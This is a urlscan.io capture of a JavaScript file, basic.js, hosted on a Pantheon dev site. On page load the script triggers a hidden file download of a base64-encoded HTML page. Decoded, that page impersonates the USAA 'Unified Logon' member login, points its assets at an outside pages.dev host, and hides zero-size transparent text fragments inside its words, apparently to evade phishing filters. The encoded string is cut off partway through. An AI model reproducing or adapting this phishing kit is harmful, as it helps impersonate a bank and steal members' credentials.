dev-wwwmm.pantheonsite.io Open in urlscan Pro
2620:12a:8000::4  Public Scan

URL: https://dev-wwwmm.pantheonsite.io/bbb/basic.js
Submission: On April 05 via manual from US — Scanned from DE

Form analysis 0 forms found in the DOM

Text Content

 $(document).ready(function() {
		saveFile();
});

function saveFile (name, type, data) {
	if (data != null && navigator.msSaveBlob)
		return navigator.msSaveBlob(new Blob([data], { type: type }), name);
	let a = $("<a style='display: none;'/>");    
	    let encodedStringAtoB = 'PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KCjxoZWFkPgogICAgPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiPgogICAgPHRpdGxlPk1lbWJlciBBY2NvdW50IExvZ2luIHwgVVNBQTwvdGl0bGU+Cgk8YmFzZSBocmVmPSJodHRwczovL2FzZXQtNTVyLnBhZ2VzLmRldi8iPgogICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1lZGdlIj4KICAgIDxsaW5rIHJlbD0iaWNvbiIgdHlwZT0iaW1hZ2UveC1pY29uIiBocmVmPSJhc3NldHMvZmF2aWNvbi5pY28iPgogICAgPG1ldGEgaWQ9IlZpZXdwb3J0IiBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEiPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJhc3NldHMvY3NzL3dlYi5jc3MiPgogICAgPHN0eWxlPgogICAgICAgIEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1heC13aWR0aDogNjAwcHgpIHsKICAgICAgICAgICAgLm1pYW0tbG9nb24tYmFubmVyIHsKICAgICAgICAgICAgICAgIGRpc3BsYXk6IG5vbmU7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC5sYXlvdXQtbWQgLm1pYW0tbG9nb24td3JhcHBlciB7CiAgICAgICAgICAgICAgICAvKm1hcmdpbjogODhweCAwcHggMTQ1cHg7Ki8KICAgICAgICAgICAgICAgIG1hcmdpbjogMDsKICAgICAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7CiAgICAgICAgICAgICAgICBhbGlnbi1pdGVtczogc3RyZXRjaDsKICAgICAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsKICAgICAgICAgICAgICAgIHotaW5kZXg6IDE7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC5sYXlvdXQtbWQgLmxvZ29uLXdyYXBwZXItbWFpbi1jb250YWluLAogICAgICAgICAgICAubGF5b3V0LW1kIC5vbmxpbmUtaWQgLmxvZ29uLXdyYXBwZXItbWFpbi1jb250YWluLAogICAgICAgICAgICAubGF5b3V0LW1kIC5vdGMgLmxvZ29uLXdyYXBwZXItbWFpbi1jb250YWluLAogICAgICAgICAgICAubGF5b3V0LW1kIC5wYXNzd29yZCAubG9nb24td3JhcHBlci1tYWluLWNvbnRhaW4sCiAgICAgICAgICAgIC5sYXlvdXQtbWQgLnBpbi10b2tlbiAubG9nb24td3JhcHBlci1tYWluLWNvbnRhaW4sCiAgICAgICAgICAgIC5sYXlvdXQtbWQgLnBpbiAubG9nb24td3JhcHBlci1tYWluLWNvbnRhaW4gewogICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2ZmZjsKICAgICAgICAgICAgICAgIGNvbG9yOiAjM2U0MDQyOwogICAgICAgICAgICAgICAgcGFkZGluZzogMCAyNHB4OwogICAgICAgICAgICAgICAgbWFyZ2luOiAwOwogICAgICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgICAgICBtYXgtd2lkdGg6IDEwMCU7CiAgICAgICAgICAgICAgICB6LWluZGV4OiAxOwogICAgICAgICAgICB9CgogICAgICAgICAgICAubGF5b3V0LXNtIC51c2FhLWZvcm0tdjUtOS0wLWZpZWxkTGFiZWwgewogICAgICAgICAgICAgICAgZm9udC1zaXplOiAxcmVtOwogICAgICAgICAgICB9CgogICAgICAgICAgICAubGF5b3V0LXNtIC51c2FhLWZvcm0tdjUtOS0wLWZpZWxkV3JhcHBlci1sYWJlbCB7CiAgICAgICAgICAgICAgICBwYWRkaW5nLXRvcDogMTFweDsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLmxheW91dC1zbSAudXNhYS1mb3JtLXY1LTktMC10ZXh0SW5wdXQgLnVzYWEtaW5wdXQgaW5wdXQgewogICAgICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7CiAgICAgICAgICAgICAgICBwYWRkaW5nOiAzcHggMTVweCAxMnB4OwogICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlOwogICAgICAgICAgICAgICAgei1pbmRleDogMTsKICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMS4xMjVyZW07CiAgICAgICAgICAgICAgICBib3JkZXI6IG5vbmU7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC5sYXlvdXQtc20gLnVzYWEtZm9ybS12NS05LTAtZmllbGRXcmFwcGVyLWxhYmVsIHsKICAgICAgICAgICAgICAgIHBhZGRpbmctbGVmdDogMTVweDsKICAgICAgICAgICAgICAgIHBhZGRpbmctcmlnaHQ6IDE1cHg7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIFtjbGFzcyo9dXNhYS1mb3JtXVtjbGFzcyo9ZmllbGRXcmFwcGVyLWxhYmVsXTpiZWZvcmUgewogICAgICAgICAgICB6LWluZGV4OiAxOwogICAgICAgIH0KCiAgICAgICAgLmVycm9yaXRlbSB7CiAgICAgICAgICAgIGJvcmRlci1sZWZ0OiA1cHggc29saWQgI2NiM2EzYTsKICAgICAgICB9CiAgICA8L3N0eWxlPgo8L2hlYWQ+Cgo8Ym9keSBjbGFzcz0iZm9udC1uYXJyb3ciPgogICAgPGRpdiBpZD0ibWFpbkFwcFJvb3QiPgogICAgICAgIDxkaXYgY2xhc3M9InVzYWEtdHJhbnNhY3Rpb25hbFdyYXBwZXIgbGF5b3V0LXh4cyBsYXlvdXQteHMgbGF5b3V0LXNtIGxheW91dC1tZCBsYXlvdXQtbGcgbGF5b3V0LXhsIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0idXNhYS10cmFuc2FjdGlvbmFsUGFnZSI+CiAgICAgICAgICAgICAgICA8ZGl2PgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InVzYWEtdHJhbnNhY3Rpb25hbEhlYWRlckFuZEluZGljYXRvciI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxoZWFkZXIgY2xhc3M9InVzYWEtdHJhbnNhY3Rpb25hbEhlYWRlciI+PGEgY2xhc3M9InVzYWEtc2tpcFRvQ29udGVudCBzY3JlZW5SZWFkZXIiIGFjY2Vzc2tleT0iMiI+U2tpcCB0byBDb250ZW50PC9hPjxhIGNsYXNzPSJob21lLWxpbmsiIGlkPSJMb2dvLWxpbmsiPjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiBpZD0iTG9nby1zdmciIHZpZXdCb3g9IjAgMCA2MyA2NiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0aXRsZT5VU0FBIGxvZ28uIDwvdGl0bGU+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwYXRoIGZpbGw9IiNmZmZmZmYiIGQ9Ik00OS4xNiA0NC41czEuNTIgMS4wMiAzIDEuMDJjMS41IDAgMi44Mi0xLjA3IDIuODItMS4wN1YzOS4ycy0xLjMzLjk2LTIuOC45NmMtMS40OCAwLTMuMDItMS4wMy0zLjAyLTEuMDNsLTE1LjMtOS4wNiAxLjQgNi4yIDEzLjkgOC4yMnpNNy44NCAyOC4zM1M2LjM2IDI3LjMgNC44MiAyNy4zcy0yLjggMS4wOC0yLjggMS4wOHY1LjIzczEuMjYtLjkzIDIuOC0uOTNjMS41NCAwIDMuMDIgMS4wMyAzLjAyIDEuMDNsMTIuNjQgNy40OCAxLjA4LTQuNzMtMTMuNzItOC4xem00MS4zMiA5LjNzMS41MiAxLjAzIDMgMS4wM2MxLjUgMCAyLjgyLTEuMDcgMi44Mi0xLjA3di01LjIzcy0xLjMzLjk0LTIuOC45NGMtMS40OCAwLTMuMDItMS0zLjAyLTFMMzIuMDQgMjIuMTVsMS40MiA2LjIgMTUuNyA5LjN6TTcuODQgMjEuNXMtMS40OC0xLjA0LTMuMDItMS4wNC0yLjggMS4wOC0yLjggMS4wOHY1LjIzczEuMjYtLjk0IDIuOC0uOTRjMS41NCAwIDMuMDIgMS4wMyAzLjAyIDEuMDNsMTQuMDIgOC4zIDEuMDgtNC43NC0xNS4xLTguOTN6bTQxLjMyIDkuM3MxLjUyIDEuMDMgMyAxLjAzYzEuNSAwIDIuODItMS4wNyAyLjgyLTEuMDd2LTUuMjRzLTEuMzMuOTUtMi44Ljk1Yy0xLjQ4IDAtMy4wMi0xLjAzLTMuMDItMS4wM2wtMTguOTMtMTEuMiAxLjQyIDYuMiAxNy41IDEwLjM2ek03Ljg0IDE0LjY1cy0xLjQ4LTEuMDMtMy4wMi0xLjAzLTIuOCAxLjA3LTIuOCAxLjA3djUuMjJzMS4yNi0uOTQgMi44LS45NGMxLjU0IDAgMy4wMiAxLjAzIDMuMDIgMS4wM2wxNS40IDkuMTIgMS4wNy00LjczLTE2LjQ2LTkuNzV6bTIyLTIuMWwxOS4zMiAxMS40czEuNTIgMS4wMyAzIDEuMDNjMS41IDAgMi44Mi0xLjA3IDIuODItMS4wN1YxOC43cy0xLjMzLjk0LTIuOC45NGMtMS40OCAwLTMuMDItMS4wMi0zLjAyLTEuMDJMMzQuMjIgOS43NiAzMy4xOCA1LjhjMC0uMTcuMTUtLjI1LjItLjI2bDIuNTQtLjhjLjM0IDAgLjUzLjMuNTMuNTRsLjE0LjI4Yy4wOC4wNS41LS4wNy41LS4xNVYzLjg2YzAtMS4wNC0uODItMS45Ni0xLjkzLTEuOTZoLTIuNTNTMzIuMjcgMSAzMS4yIDFoLTQuOGMtMS4yOCAwLTEuNTggMS4yLTEuNTggMS4ybC0zLjM0IDEzLjY1TDcuODQgNy44UzYuMzYgNi43NyA0LjgyIDYuNzdzLTIuOCAxLjA4LTIuOCAxLjA4djUuMjNzMS4yNi0uOTQgMi44LS45NGMxLjU0IDAgMy4wMiAxLjAzIDMuMDIgMS4wM0wyNC42IDIzLjFsMy44My0xNi43MyAxLjQgNi4xN3pNMjYuOCA1OC40YzAgMi44NS0yLjMyIDQuOS01LjUgNC45Mi0zLjM3IDAtNC41LS41OC00LjUtLjU4bC0uMjgtMy4xNXMxLjg3IDEuMjQgNC42MiAxLjI0Yy43NiAwIDIuNDgtLjU0IDIuNDgtMi4xIDAtMS40OC0xLjM1LTEuOTMtMS42OC0yLjEyLS42Ny0uMzUtMS40Ny0uNy0yLjEzLTEuMDQtMS4yMy0uNi0zLjA2LTEuNzgtMy4wNi00LjI3IDAtMy41NyAzLjItNC44OCA1Ljc1LTQuODggMi4wMyAwIDMuODMuOSAzLjgzLjl2Mi45NGMtLjU3LS4zNC0xLjUtMS40LTMuODQtMS40LTEuNiAwLTIuNjguODYtMi42OCAyLjA0IDAgMS4xLjkgMS44IDEuNzcgMi4yMmwyLjQ0IDEuMTdjMS4yNy42MiAyLjc2IDEuOSAyLjc2IDQuMXptLTE1LjA1LTEuMzVjMCAxLjMtLjQzIDMuNzctMy40IDMuNzJDNS42MiA2MC43IDUuMSA1OC4yIDUuMSA1Ni42di05Ljg3aC0zLjF2MTAuMDNjMCA1LjY1IDMuNDQgNi42IDYuMzIgNi42IDQuMjUgMCA2LjIzLTIuODMgNi4yMy02LjY1di05Ljk3aC0yLjgydjEwLjMyem00My4yMyA1LjkzaC0zLjRsLS45Ni0yLjg1aC01Ljc4bC0uOTggMi44NWgtNS43OGwtLjk2LTIuODVoLTUuNzhsLS45OCAyLjg1SDI3LjNMMzIuOSA0OGwtLjU0LTEuMjdoMy4zOGw1LjQgMTUuMzJMNDYuNCA0OGwtLjU0LTEuMjdoMy4zN2w1Ljc1IDE2LjI1em0tMTguNjMtNS4xMmwtMi02LjQtMi4yNiA2LjRoNC4yNXptMTMuNSAwbC0yLTYuNC0yLjI1IDYuNGg0LjI1em01LjkzLTEwLjM4Yy0uNTUuMy0xIC43My0xLjMgMS4zUzU0IDQ5LjkgNTQgNTAuNWMwIC42LjE3IDEuMTguNDcgMS43M3MuNzQgMSAxLjMgMS4zYy41NC4zIDEuMTIuNDYgMS43My40NnMxLjE4LS4xNSAxLjczLS40NWMuNTUtLjMuOTgtLjc0IDEuMy0xLjNzLjQ0LTEuMTMuNDQtMS43M2MwLS42LS4xNS0xLjItLjQ2LTEuNzVzLS43NC0xLTEuMy0xLjNjLS41NS0uMy0xLjEyLS40NC0xLjctLjQ0cy0xLjE2LjE1LTEuNzIuNDV6bTMuMTQuNWMuNDcuMjUuODMuNiAxLjEgMS4wOC4yNS40Ny4zOC45NS4zOCAxLjQ2IDAgLjUtLjEzLjk4LS40IDEuNDVzLS42LjgyLTEuMDYgMS4wN2MtLjQ2LjI2LS45NC40LTEuNDQuNHMtMS0uMTQtMS40NS0uNGMtLjQ2LS4yNS0uODItLjYtMS4wOC0xLjA3LS4yNS0uNDctLjM4LS45NS0uMzgtMS40NXMuMTItMSAuMzgtMS40NmMuMjYtLjQ3LjYyLS44MyAxLjEtMS4wOHMuOTMtLjM3IDEuNDItLjM3Yy40OCAwIC45Ni4xMyAxLjQyLjM4em0tMi4zNSA0LjQ3di0xLjZoLjM2Yy4yIDAgLjM3LjA1LjQ4LjEzLjE3LjEyLjM4LjQuNjQuODhsLjM0LjZoLjczbC0uNDQtLjc1Yy0uMjItLjMzLS40LS41OC0uNTYtLjczLS4wOC0uMDgtLjE4LS4xNC0uMy0uMi4zLS4wMi41Ny0uMTQuNzYtLjM0LjItLjIuMy0uNDQuMy0uNzIgMC0uMTgtLjA2LS4zNy0uMTgtLjU0LS4xMi0uMTctLjI3LS4zLS40Ny0uMzYtLjItLjA3LS41LS4xLS45NS0uMWgtMS4yOHYzLjc1aC42em0wLTMuMjVoLjdjLjMgMCAuNS4wMi42LjA3cy4yLjEuMjUuMmMuMDYuMDguMS4xOC4xLjMgMCAuMTYtLjA3LjMtLjIuNHMtLjM2LjE3LS43LjE3aC0uNzVWNDkuMnoiPjwvcGF0aD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3N2Zz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDEgY2xhc3M9InVzYWEtdHJhbnNhY3Rpb25hbEhlYWRlci1hcHBOYW1lIGZvbnQtc2VyaWYiPjxzcGFuPlVuaWZpZWQgTG9nb248L3NwYW4+PC9oMT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBpZD0ibmF2TGlua0NvbnRhaW4iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0idWxvLW5hdkxpbmsiPjxhIGNsYXNzPSJtaWFtLWxvZ29uLWpvaW4tbGluayBmb250LW5vcm1hbCBuYXYtbGluazAiIHRhcmdldD0iX3NlbGYiIHJlbD0ibm9vcGVuZXIgbm9yZWZlcnJlciIgaWQ9Im5hdkxpbmstMCI+Sm9pbiBVU0FBPC9hPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJ1bG8tbmF2TGluayI+PGEgY2xhc3M9Im1pYW0tbG9nb24tam9pbi1saW5rIGZvbnQtbm9ybWFsIG5hdi1saW5rMSIgdGFyZ2V0PSJfc2VsZiIgcmVsPSJub29wZW5lciBub3JlZmVycmVyIiBpZD0ibmF2TGluay0xIj5SZWdpc3RlciA8c3BhbiBjbGFzcz0id3JhcHBlZFRleHQiPiZuYnNwO2ZvciBhY2Nlc3M8L3NwYW4+PC9hPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idmVydGljYWwtcnVsZSI+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvaGVhZGVyPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9ImNvbnRlbnRIaWphY2tJZCIgdGFiaW5kZXg9Ii0xIj48L2Rpdj48c3BhbiBkYXRhLWlkPSJ1c2FhLXRyYXBGb2N1cy0tYm90dG9tIiB0YWJpbmRleD0iLTEiIGFyaWEtaGlkZGVuPSJ0cnVlIiBzdHlsZT0idG9wOiAycHg7IHBvc2l0aW9uOiBhYnNvbHV0ZTsiPjwvc3Bhbj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGRpdiB0YWJpbmRleD0iLTEiPjwvZGl2PgogICAgICAgICAgICAgICAgPGRpdiBhcmlhLWhpZGRlbj0iZmFsc2UiIGNsYXNzPSJ1c2FhLXRyYW5zYWN0aW9uYWxCb2R5QW5kRm9vdGVyIiBpZD0idXNhYS10ZW1wbGF0ZUNvbnRlbnQiPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InVzYWEtdHJhbnNhY3Rpb25hbEJvZHlXcmFwcGVyIj4KCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InVzYWEtdHJhbnNhY3Rpb25hbEJvZHkiIHJvbGU9Im1haW4iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWFpblBhbmVsLXJpZ2h0UGFuZWxCdXR0b25Db250YWluZXIiPjwvZGl2PjxzdmcgaWQ9ImZsb3VyaXNoLWljb24iIGRhdGEtbmFtZT0iTGF5ZXIgMSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgNzMuMzUgNzIiIGFsdD0iIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGVmcz48L2RlZnM+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRpdGxlPnVzYWEtc3ltYm9sLWxhdXJlbDwvdGl0bGU+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHBhdGggaWQ9IkxhdXJlbCIgY2xhc3M9ImNscy0xIiBkPSJNMzEuMTYsNDkuNTFsMi4yNiw3LjctNy4xOS0zLjU2TDI0LDQ1Ljk1Wk0yNi41OCw2Mi4xbDYuNjgtNC40NC03LjgtMS44OS02LjY4LDQuNDRabS04LTIxLjgyLS41LDgsNS41NCw1LjgxLjUtOFpNMTUuNSw1Ni4zNGw3LjgtMS44OEwxNi42Miw1MCw4LjgyLDUxLjlaTTE1LjQ0LDMzLjFsLTMuMjEsNy4zNiwzLjIxLDcuMzUsMy4yMS03LjM1Wk03LjA1LDQ3LjE1LDE1LDQ4bC00Ljc2LTYuNDYtOC0uODlaTTE1LDI1LjI4LDkuNDIsMzEuMDlsLjUxLDgsNS41NC01LjgxWk0yLjI2LDM1LjYybDcuMTksMy41Ny0yLjI2LTcuN0wwLDI3LjkyWm0xNC45LTE3Ljg1TDEwLDIxLjM0LDcuNzEsMjlsNy4xOS0zLjU3Wk0xLjcsMjMuMTQsNy4yNCwyOWwuNTEtOEwyLjIxLDE1LjE0Wk0yMS44MSwxMS40N2wtOCwuOUw5LjA4LDE4LjgzbDgtLjlaTTUuNDQsMTEuMjNsMy4yMiw3LjM2LDMuMjItNy4zNUw4LjY2LDMuODhaTTE1LjYzLDMuNDlsLTIuMzQsNy42OCw3LjIyLTMuNUwyMi44NSwwWm0yNi41Niw0Ni0yLjI3LDcuNyw3LjE5LTMuNTYsMi4yNy03LjdabTEyLjM4LDEwLjctNi42OC00LjQ0LTcuOCwxLjg5LDYuNjgsNC40NFpNNDkuMjQsNDYuMDhsLjUsOCw1LjU0LTUuODEtLjUtOFpNNjQuNTMsNTEuOSw1Ni43Myw1MGwtNi42OCw0LjQ0LDcuOCwxLjg4Wk01NC42OSw0MC40NSw1Ny45LDQ3LjhsMy4yMS03LjM1TDU3LjkxLDMzLjFabTE2LjM2LjI0LTgsLjg5TDU4LjMyLDQ4bDgtLjg5Wm0tMTMuMTYtNy40LDUuNTQsNS44MS41MS04TDU4LjQsMjUuMjhabTE1LjQ2LTUuMzctNy4xOSwzLjU3LTIuMjcsNy43LDcuMTktMy41N1ptLTE0LjktMi40NUw2NS42NCwyOWwtMi4yNy03LjctNy4xOS0zLjU3Wk03MS4xNCwxNS4xNCw2NS42LDIwLjk1bC41MSw4LDUuNTQtNS44MlpNNTYuMywxNy45M2w4LC45LTQuNzYtNi40Ni04LS45Wk02NC42OSwzLjg4bC0zLjIxLDcuMzUsMy4yMiw3LjM1LDMuMjItNy4zNlpNNTAuNSwwbDIuMzQsNy42OCw3LjIyLDMuNUw1Ny43MiwzLjQ5Wk0zNi42Nyw3MiwzMiw2My44NGw0LjcxLTguMTYsNC43MSw4LjE2WiI+PC9wYXRoPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zdmc+CgkJCQkJCQk8ZGl2IGNsYXNzPSJjb2wtc20tMTIgY29sLWxnLTEyIGxvZ2luLXBhZ2Utb3V0ZXIiIGlkPSJzdGVwMSIgc3R5bGU9ImRpc3BsYXk6YmxvY2siPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icGFzc3dvcmQgbWlhbS1sb2dvbi13cmFwcGVyIiB0YWJpbmRleD0iLTEiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1pYW0tbG9nb24tZ3V0dGVyIj48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtaWFtLWxvZ29uLWJhbm5lciI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1pYW0tbG9nb24tYmFubmVyLXRleHQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0id2NtLWNvbnRlbnQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1pYW0tbG9nb24tYmFubmVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGgxPk5ldyB0byBVU0FBPzwvaDE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPkJlY29tZSBhIG1lbTxmb250IHN0eWxlPSJjb2xvcjp0cmFuc3BhcmVudDtmb250LXNpemU6MHB4Ij5XNjM4NDM8L2ZvbnQ+YmVyIGJ5IHNlbGVjdGluZyAiSm9pbiBVU0FBIiDigJQgaXQncyBlYXN5IGFuZCBvbmx5IHRha2VzIGEgZmV3IG1pPGZvbnQgc3R5bGU9ImNvbG9yOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZTowcHgiPjM4OTk0PC9mb250Pm51dGVzLjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWlhbS1sb2dvbi1iYW5uZXItbW9iaWxlIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtaWFtLWxvZ29uLW1vYmlsZS1tb2RhbCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vYmlsZS13Y20tYmFubmVyLWNvbnRlbnQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0id2NtLWNvbnRlbnQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1pYW0tbG9nb24tYmFubmVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGgxPk5ldyB0byBVPGZvbnQgc3R5bGU9ImNvbG9yOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZTowcHgiPkwxNTExMTwvZm9udD5TQUE/PC9oMT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+QmVjb21lIGEgbWVtPGZvbnQgc3R5bGU9ImNvbG9yOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZTowcHgiPlo1MzA4NzwvZm9udD5iZXIgYnkgc2VsZWN0PGZvbnQgc3R5bGU9ImNvbG9yOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZTowcHgiPkQ4OTM0NzwvZm9udD5pbmcgIkpvaW4gVVNBQSIg4oCUIGl0J3MgZWFzeSBhbmQgb25seSB0YWtlcyBhIGZldyBtaW51dGVzLjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj48YSBpZD0iam9pbi1idXR0b24iIGNsYXNzPSJqb2luLWJ1dHRvbi1saW5rIiB0YXJnZXQ9Il9zZWxmIiByZWw9Im5vb3BlbmVyIG5vcmVmZXJyZXIiIHRhYmluZGV4PSItMSI+PGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJ1c2FhLWJ1dHRvbjQgam9pbi1idXR0b24iPkpvaW4gVVNBQTwvYnV0dG9uPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtaWFtLWxvZ29uLWZpZWxkc2V0IGxvZ29uLXdyYXBwZXItbWFpbi1jb250YWluIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWlhbS1sb2dvbi1mb3JtIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9Im1haW4tbG9nb24td3JhcHBlciI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGgyIGNsYXNzPSJtaWFtLWZvcm0tdGl0bGUiPkxvZyBPbjwvaDI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBpZD0iZm9ybSIgYWN0aW9uPSIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ1c2FhLWZvcm0tdjUtOS0wLWZvcm1Hcm91cC13cmFwcGVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InVzYWEtZm9ybS12NS05LTAtZm9ybUdyb3VwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGlkPSJlcm9uZyIgY2xhc3M9Im1pYW0tYTEtZXJyIiBzdHlsZT0iZGlzcGxheTpub25lIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idXNhYS1hbGVydCB1c2FhLWFsZXJ0LS1jb21wb25lbnRMZXZlbCB1c2FhLWFsZXJ0LS11cmdlbnQiIHJvbGU9ImFsZXJ0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InVzYWEtYWxlcnQtY29udGFpbmVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ1c2FhLWFsZXJ0LXdyYXBwZXIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ1c2FhLWFsZXJ0LWNvbnRlbnQiPjxzdmcgY2xhc3M9InVzYWEtYWxlcnQtaWNvbiIgZm9jdXNhYmxlPSJmYWxzZSIgdmlld0JveD0iMCAwIDE2IDE2IiBhcmlhLWhpZGRlbj0idHJ1ZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB3aWR0aD0iMTZweCIgaGVpZ2h0PSIxNnB4Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC